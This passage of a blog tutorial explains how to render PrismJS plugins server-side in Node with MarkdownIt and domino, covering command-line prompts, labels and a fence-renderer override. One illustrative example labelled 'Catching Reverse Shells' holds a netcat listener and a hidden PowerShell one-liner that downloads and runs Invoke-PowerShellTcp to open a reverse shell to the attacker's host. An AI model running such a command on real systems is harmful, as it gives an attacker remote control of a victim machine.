&lt;li&gt;A post refers to a code snippet within a large file (line-numbers)&lt;/li&gt;
&lt;li&gt;A post refers to multiple files (label)&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;&lt;summary&gt;Example: Catching Reverse Shells (Labels and Command-Line)&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;This is really useful when presenting narratives for red teaming scenarios, where multiple machines are involved.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Here are some simple notes on catching a reverse shell from a Windows machine.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Get our IP.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Attacker&quot; class=&quot;command-line language-shell&quot; data-prompt=&quot;kali@kali $&quot; data-output=&quot;2-10&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-shell&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;kali@kali $&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;ifconfig&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;eth0: flags=4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1500&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;    inet 192.168.100.100  netmask 255.255.255.0  broadcast 192.168.100.255&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;    ...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Attacker&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Listen for incoming connections on port 4444.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Attacker&quot; class=&quot;command-line language-shell&quot; data-prompt=&quot;kali@kali $&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-shell&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;kali@kali $&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;nc&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-nlvp&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4444&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Attacker&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Download and execute &lt;code&gt;Invoke-PowerShellTcp&lt;/code&gt; on the victim.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Victim&quot; class=&quot;command-line language-powershell&quot; data-prompt=&quot;PS C:&#92;&gt;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;PS C:&#92;&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;powershell &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;nop &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;w hidden &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;c &lt;span class=&quot;token string&quot;&gt;&quot;iex (New-Object Net.WebClient).DownloadString(&#39;http://192.168.100.100/Invoke-PowerShellTcp.ps1&#39;);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.100.100 -Port 4444&quot;&lt;/span&gt; &lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Victim&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;PowerShell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It&#39;s clear that our character shifts from Scene 1 to Scene 2, with less sentence clutter.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;Another problem I notice on many documentation pages is the use of &lt;code&gt;$&lt;/code&gt;, denoting the start of a new command on a shell. These are poor for a couple reasons: it doesn&#39;t accurately present the actual code (from both the writer&#39;s and readers&#39; PoV) and may disrupt syntax highlighters.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Example: The Obstructive $ (Command-Line)&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;These are commonly seen in installation scripts or guides. Here&#39;s an example installing a Makefile-based project:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;$ &lt;span class=&quot;token function&quot;&gt;tar&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-xvzf&lt;/span&gt; who_doesnt_like_to_copy_lines_of_code_one_by_one.tar.gz
$ &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; who_doesnt_like_to_copy_lines_of_code_one_by_one
$ ./configure
$ &lt;span class=&quot;token function&quot;&gt;make&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-j4&lt;/span&gt;
$ &lt;span class=&quot;token function&quot;&gt;make&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Atrocious! You can&#39;t copy multiple lines without the nasty $ getting in the way! What terrible UX. It&#39;s like when your parent or sibling stands in front of the television!&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Compare it to this:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;tar&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-xvzf&lt;/span&gt; who_doesnt_like_to_copy_lines_of_code_one_by_one.tar.gz&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; who_doesnt_like_to_copy_lines_of_code_one_by_one&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;./configure&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;make&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-j4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;make&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;With that small rant out of the way, let&#39;s begin!&lt;/p&gt;
&lt;h2 id=&quot;step-1-expose-a-dom-api&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#step-1-expose-a-dom-api&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Step 1: Expose a DOM API&lt;/h2&gt;
&lt;p&gt;To make Node seem like a browser, we want to introduce &lt;code&gt;document&lt;/code&gt; and &lt;code&gt;window&lt;/code&gt; globals. These are the two keys variables used by Prism to manipulate HTML. &lt;code&gt;window&lt;/code&gt; isn&#39;t really called; it&#39;s mostly for UI behaviour. &lt;code&gt;document&lt;/code&gt;, however, is used rather heavily.&lt;/p&gt;
&lt;div class=&quot;alert alert-danger d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-radiation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;This could have adverse effects on libraries which use unified code for both browser and runtime environments. Introducing &lt;code&gt;document&lt;/code&gt; and &lt;code&gt;window&lt;/code&gt; &lt;em&gt;might&lt;/em&gt; have unintended spillover effects... In most cases though, this shouldn&#39;t break anything.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The easiest solution is to glue a DOM manipulation library such as JSDOM or domino, and create global &lt;code&gt;window&lt;/code&gt;/&lt;code&gt;document&lt;/code&gt; variables. I’ve chosen to use &lt;a href=&quot;https://www.npmjs.com/package/domino&quot;&gt;domino&lt;/a&gt; since it renders codeblocks much faster than JSDOM, with zero additional dependencies.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; domino&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; domino &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;domino&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
global&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;window &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; domino&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createWindow&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
global&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;getComputedStyle &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; global&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;getComputedStyle&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
global&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;document &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; global&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;document&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JavaScript&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;NodeJS&#39;s &lt;code&gt;global&lt;/code&gt; object enables us to add global variables. Now Prism can access our &lt;code&gt;window&lt;/code&gt; and &lt;code&gt;document&lt;/code&gt; globals.&lt;/p&gt;
&lt;p&gt;For convenience later, we’ll also create a function which converts HTML strings to DOM objects. We&#39;ll use the &lt;code&gt;template&lt;/code&gt; element to achieve this.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;textToDOM&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; templ &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;template&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  templ&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;innerHTML &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; text&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; templ&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JavaScript&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;step-2-override-markdownit-fence-rendering&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#step-2-override-markdownit-fence-rendering&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Step 2: Override MarkdownIt Fence Rendering&lt;/h2&gt;
&lt;p&gt;While MarkdownIt works great out-of-the-box, the default &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Rendering is the process of convert raw code to a presentable HTML format.&quot;&gt;rendering&lt;/abbr&gt; rules for code blocks are inherently incompatible with most Prism plugins. MarkdownIt&#39;s renderer passes text as input to an arbitrary highlight function, but Prism’s full-featured highlighting expects a DOM Element node. They don&#39;t speak the same language!&lt;/p&gt;
&lt;p&gt;Prism has two primary highlight functions: &lt;code&gt;Prism.highlight&lt;/code&gt; and &lt;code&gt;Prism.highlightElement&lt;/code&gt;. Most server-side libraries are happy to use the former. But a lot of &lt;em&gt;hooks&lt;/em&gt; aren&#39;t called by &lt;code&gt;.highlight&lt;/code&gt;, so we&#39;ll also have to customise the renderer to call &lt;code&gt;.highlightElement&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We&#39;ll reference &lt;a href=&quot;https://github.com/markdown-it/markdown-it/blob/0fe7ccb4b7f30236fb05f623be6924961d296d3d/lib/renderer.mjs#L29&quot;&gt;MarkdownIt&#39;s default fence rule&lt;/a&gt; and customise it accordingly.&lt;/p&gt;
&lt;div class=&quot;alert alert-danger d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-radiation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The code presented below will override the &lt;code&gt;.renderer.rules.fence&lt;/code&gt; rule completely, overwriting any previous implementations.&lt;/p&gt;
&lt;p&gt;If you use another plugin which reuses the fence rule (e.g. &lt;code&gt;markdown-it-prism&lt;/code&gt;), consider calling code in this order: 1) the below fence-override code, 2) other code. This way no code is overwritten and lost.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Here are the changes we&#39;ll make:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Remove the default text-based highlighting &lt;code&gt;options.highlight&lt;/code&gt;. We still need to escape the HTML because we&#39;ll substitute it in a HTML string.&lt;/li&gt;
&lt;li&gt;(Optional, if you want &lt;code&gt;diff&lt;/code&gt; support.) Handle &lt;code&gt;diff-*&lt;/code&gt; languages by loading the right language.&lt;/li&gt;
&lt;li&gt;Wrap the escaped code in &lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&lt;/code&gt; with the right attributes&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;, convert it to a DOM element, highlight it to &lt;code&gt;Prism.highlightElement&lt;/code&gt;, then return the rendered HTML.&lt;/li&gt;
&lt;li&gt;We also moved the attributes to &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt;, which is required for PrismJS to function properly.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The most important part is step 3, where we call Prism magic with &lt;code&gt;.highlightElement&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-js language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-js language-js&quot;&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;markdownit&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;renderer&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;fence&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;tokens&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; _env&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; slf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-js&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;div&amp;gt;&amp;lt;pre&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;preAttrs&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;gt;&amp;lt;code class=&quot;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;codeClasses&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;escaped&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; el &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;textToDOM&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;  Prism&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;highlightElement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;el&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; el&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;outerHTML
&lt;/span&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JavaScript&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;details&gt;&lt;summary&gt;See Full Changes&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-js language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-js language-js&quot;&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;markdownit&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;renderer&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;fence&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;tokens&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; _env&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; slf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; token &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; tokens&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;idx&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
